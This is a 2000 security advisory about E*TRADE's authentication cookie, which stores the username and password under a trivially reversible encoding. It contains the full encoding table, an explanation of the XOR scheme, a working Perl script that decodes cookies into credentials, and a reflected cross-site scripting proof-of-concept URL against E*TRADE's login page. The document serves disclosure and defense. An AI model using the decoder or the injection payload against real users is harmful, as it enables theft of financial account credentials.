|
Vulnerability E*TRADE Affected E*TRADE Description Jeffrey W. Baker found following. Unlike a Security Advisory, this document will not describe the actual flaws in the software, nor will it describe an exploit. However, it will include proof that the exploit exists. E*TRADE is a company which allows its customers to trade securities using the World Wide Web. In E*TRADE's own words, they have "some of the most advanced technology for Web security." E*TRADE compares their services to a steel vault, a moat, and Fort Knox. E*TRADE uses a cookie authentication scheme which they apparently wrote themselves. When a user logs in, E*TRADE concatenates the username and password, transforms it with a lookup table, and sends the string back to the user's browser as a cookie. This string is then sent back to E*TRADE on every request. If the user chooses to have a persistent login, the cookie is stored on the user's disk. This is the lookup table they are using. The single characters on the left are converted into the double characters on the right: ! HI 9 IA Q OI i LA " HJ : IB R OJ j LB # HK ; IC S OK k LC $ HL < ID T OL l LD % HM = IE U OM m LE & HN > IF V ON n LF ' HO ? IG W OO o LG ( H@ @ NH X O@ p MH ) HA A NI Y OA q MI * HB B NJ Z OB r MJ + HC C NK [ OC s MK ' HD D NL \ OD t ML - HE E NM ] OE u MM . HF F NN ^ OF v MN / HG G NO _ OG w MO 0 IH H N@ ` OH x M@ 1 II I NA a LI y MA 2 IJ J NB b LJ z MB 3 IK K NC c LK { MC 4 IL L ND d LL | MD 5 IM M NE e LM } ME 6 IN N NF f LN ~ MF 7 IO O NG g LO 8 I@ P OH h L@ Example: the user "fred" with a password of "123" would get a login cookie "LNMJLMLLIIIJIK". The cookie "LELIMJMAILIMIN" can be reversed to obtain "mary" and "456". The cookie can be obtained remotely via cross-site scripting. There are input validation errors in multiple places on the E*TRADE site. As a proof of concept, try this URL: https://trading.etrade.com/cgi-bin/gx.cgi/AppLogic+LoginPage?userid=%22><script>alert(%27Have%20a%20nice%20day%27)</script><input%20value=%22 If JavaScript is enabled, your browser should show an alert dialog with the text "Have a nice day". This bug could be exploited independently of the cookie bug to make the user execute an unwanted trade or transfer of money. It took Marc Slemko ~2 minutes after reading the first couple of lines of this advisory to figure out what the issue is and verify it by observing a few cookie values. It then took half an hour to work out the algorithm used and write up the script to decode it. A little perl script that will decode etrade's etmember cookies into a username and password is included at the end of this advisory. To summarize the issue: when you choose to save your login info, etrade sets a cookie on your system that consists of your username and password, trivially encoded. Anyone can easily steal that cookie via the well known "cross site scripting" attack. This issue has been widely publicized, but developers still don't get it. The bottom line to remember is that any cookies you set can almost certainly be stolen from your users in some way, so you need to very carefully define what can be done with those stolen cookies. But it is worse than this in this case; even before the cross site scripting issue made it clear how much this sort of stuff matters, it was still a bad practice to allow someone who steals a long-lived cookie full access to sensitive information. E*TRADE did the "obvious" end of this properly by requiring a password in addition to a cookie, but screwed up big time by then sticking that password in a trivially encoded fashion into the cookie. This cookie is sent to the site without using SSL even! So if you are an etrade user, then it is almost certain that your username and password are going across the wire unencrypted. It is... quite difficult for users to try working around this problem. And yes, sadly enough, etrade is not alone among online brokerages in having shockingly lax security policies. TD Waterhouse isn't much better, although their problems mostly stem from being unable to install standard vendor security patches. #!/usr/local/bin/perl -w # # $Id: etradedecode.pl,v 1.3 2000/09/25 06:07:45 marcs Exp marcs $ # # pass the value of an etrade etmember cookie in on stdin, and it will # spit out the decoded username/password. # # eg. # $ echo MBMBMBMBMBMBMBMBMBMBIIIIIJJOOJOLONO@OB | ./etradedecode.pl # username/password: zzzzzzzzzz112/RTVXZ # # This isn't good code and doesn't generalize how the encoding/decoding is # done enough, but it still works, possibly with the exception of certain # punctuation. # # Marc Slemko <marcs@znep.com> 00/09/24 # # Based on the hint that "etrade sucks" given by # Jeffrey W. Baker <jwbaker@ACM.ORG> on bugtraq. # # use strict; $::LOWER_CASE = 32; $::SHIFT = 16; $::debug = 0; sub etshift { my ($char, $offset) = @_; my $trans; if (ord($char) < ord('H')) { $trans = chr(ord($char)+$offset+$::SHIFT); } else { $trans = chr(ord($char)+$offset); } return $trans; } while (<>) { s/\s//g; my $line = $_; my $output = ""; for (my $i = 1; $i < length($line); $i += 2) { my $prefix = substr($line, $i-1, 1); my $char = substr($line, $i, 1); my $trans; if ($prefix eq 'H') { $trans = etshift($char, -40); } elsif ($prefix eq 'L') { # lower case $trans = etshift($char, -8+$::LOWER_CASE); } elsif ($prefix eq 'M') { # lower case $trans = etshift($char, +8+$::LOWER_CASE); } elsif ($prefix eq 'N') { # upper case $trans = etshift($char, -8); } elsif ($prefix eq 'O') { # upper case $trans = etshift($char, +8); } elsif ($prefix eq 'I') { $trans = etshift($char, -24); } elsif ($prefix eq 'J') { $trans = etshift($char, -32); } else { die("don't know $prefix$char"); } $::debug && printf "%d:%s/%s:%d:%s\n", $i, $prefix, $char, ord($char), $trans; $output .= $trans; } print "username/password: $output\n"; } According to Tim Hollebeek, Jeffrey Baker's advisory on security vulnerabilities with E*TRADE's web interface describes the cookie encryption algorithm in terms of a lookup table, and Marc Slemko has posted an implementation with a series of compares, additions, and subtractions. In fact, it is much worse: The encryption scheme is just XOR with a fixed byte. "Encryption" proceeds as follows: 1. Take the ASCII byte and XOR it with 0xA8. (e.g. for 'f' [0x66] -> [0xCE]) 2. Split it into the high and low nibbles. (e.g. [0xCE] -> [0xC, 0xE]) 3. Add 0x40 to produce an uppercase letter or '@' (e.g. [0xC, 0xE] -> "LN") Repeat for the rest of the characters in the username and password. That's it. Solution The user can protect himself by disabling JavaScript in the browser, and by not using the E*TRADE service. E*TRADE seems to have rolled out a new cookie scheme, but it isn't going to do one bit of good unless they plug the dozens of cross-site scripting problems littering their site. This bug affects potentially all E*TRADE users. To defend against this attack, the user should: 1) disable JavaScript in the browser. 2) not use the 6-month persistent login option. This option will cause the cookie to be stored in a file on the user's disk, which opens up another vector of attack (via e.g. "brown orifice" in Netscape Navigator) 3) stop using the E*TRADE web site.